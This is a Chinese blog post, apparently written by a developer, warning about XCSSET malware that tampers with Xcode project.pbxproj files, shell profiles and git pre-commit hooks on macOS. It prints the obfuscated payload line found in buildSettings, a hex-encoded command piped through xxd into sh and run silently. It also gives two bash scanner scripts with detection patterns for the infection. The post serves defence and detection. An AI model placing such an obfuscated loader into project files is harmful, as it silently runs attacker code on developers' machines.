新型XCSSET恶意软件利用增强混淆技术攻击macOS用户

8 阅读2分钟

project.pbxproj被修改了

buildSettings 里面出现了如下字符


A6E983A = "((c(){ xxd -p -r | xxd -p -r; };echo 3635363336383666323032323234323836333735373236633230326436363733366234633230326436343230323237303310a | c | sh ) >/dev/null 2>&1 &)";



也有可能是下面的部分字符

    "xxd -p -r"
    "base64 -D.*base64 -D"
    "base64 --decode"
    ">/dev/null"
    "/tmp/"

这样的 就需要 时刻警醒自己,你可能电脑受到了攻击

他会攻击你的点


~/.zshrc

开机启动项

所有项目的 
.git/hooks/pre-commit

谷歌浏览器(打开一次就会执行一些代码,没找到具体的地方)


所有项目 project.pbxproj 被修改了


容易中招的电脑含有的软件

SourceTree

iTerm2

Google浏览器

如果你电脑这三个都有,那你要十分小心了。

恶意代码扫描脚本


#!/bin/bash

# ============================================
# 恶意代码扫描脚本
# ============================================

echo "🔍 开始扫描所有 Xcode 项目..."

# 恶意代码特征
MALICIOUS_PATTERNS=(
    "xxd -p -r"
    "base64 -D.*base64 -D"
    "base64 --decode"
    ">/dev/null"
    "/tmp/"
    "A45ED5A"
)

# 扫描结果
INFECTED_FILES=()

# 查找所有 project.pbxproj 文件
echo "📂 搜索项目文件..."
PROJECT_FILES=$(find ~/ -name "project.pbxproj" 2>/dev/null)

TOTAL=$(echo "$PROJECT_FILES" | wc -l)
CURRENT=0

echo "📊 找到 $TOTAL 个项目文件,开始扫描..."

for file in $PROJECT_FILES; do
    CURRENT=$((CURRENT + 1))
    echo -ne "进度: $CURRENT/$TOTAL - 检查: $(basename $(dirname $file))...\r"
    
    # 检查每个恶意特征
    for pattern in "${MALICIOUS_PATTERNS[@]}"; do
        if grep -q "$pattern" "$file" 2>/dev/null; then
            echo ""
            echo "❌ 发现感染: $file"
            echo "   特征: $pattern"
            INFECTED_FILES+=("$file")
            break
        fi
    done
done

echo ""
echo ""
echo "============================================"
echo "📊 扫描完成"
echo "============================================"

if [ ${#INFECTED_FILES[@]} -eq 0 ]; then
    echo "✅ 所有项目文件干净!"
else
    echo "🚨 发现 ${#INFECTED_FILES[@]} 个被感染的文件:"
    echo ""
    for file in "${INFECTED_FILES[@]}"; do
        echo "open $file"

        # open $file
    done
    echo ""
    echo "⚠️  建议操作:"
    echo "   1. 备份这些项目"
    echo "   2. 从 Git 恢复干净版本"
    echo "   3. 或手动删除恶意代码"
fi

echo ""
echo "============================================"

扫描pre-commit文件

#!/bin/bash

# ============================================
# 恶意代码扫描脚本
# ============================================

echo "🔍 开始扫描所有 pre-commit ..."

# 恶意代码特征
MALICIOUS_PATTERNS=(
    "xxd -p -r"
    "base64 -D.*base64 -D"
    "base64 --decode"
    ">/dev/null"
    "/tmp/"
    "A45ED5A"
)

# 扫描结果
INFECTED_FILES=()

# 查找所有 project.pbxproj 文件
echo "📂 搜索pre-commit文件..."
PROJECT_FILES=$(find ~/ -name "pre-commit" 2>/dev/null)

TOTAL=$(echo "$PROJECT_FILES" | wc -l)
CURRENT=0

echo "📊 找到 $TOTAL 个项目文件,开始扫描..."

for file in $PROJECT_FILES; do
    CURRENT=$((CURRENT + 1))
    echo -ne "进度: $CURRENT/$TOTAL - 检查: $(basename $(dirname $file))...\r"
    
    # 检查每个恶意特征
    for pattern in "${MALICIOUS_PATTERNS[@]}"; do
        if grep -q "$pattern" "$file" 2>/dev/null; then
            echo ""
            echo "❌ 发现感染: $file"
            echo "   特征: $pattern"
            INFECTED_FILES+=("$file")
            break
        fi
    done
done

echo ""
echo ""
echo "============================================"
echo "📊 扫描完成"
echo "============================================"

if [ ${#INFECTED_FILES[@]} -eq 0 ]; then
    echo "✅ 所有项目文件干净!"
else
    echo "🚨 发现 ${#INFECTED_FILES[@]} 个被感染的文件:"
    echo ""
    for file in "${INFECTED_FILES[@]}"; do
        echo "open $file"

        code $file
    done
    echo ""
    echo "⚠️  建议操作:"
    echo "   1. 备份这些项目"
    echo "   2. 从 Git 恢复干净版本"
    echo "   3. 或手动删除恶意代码"
fi

echo ""
echo "============================================"



参考

juejin.cn/post/710112…

juejin.cn/post/693653…

www.freebuf.com/articles/we…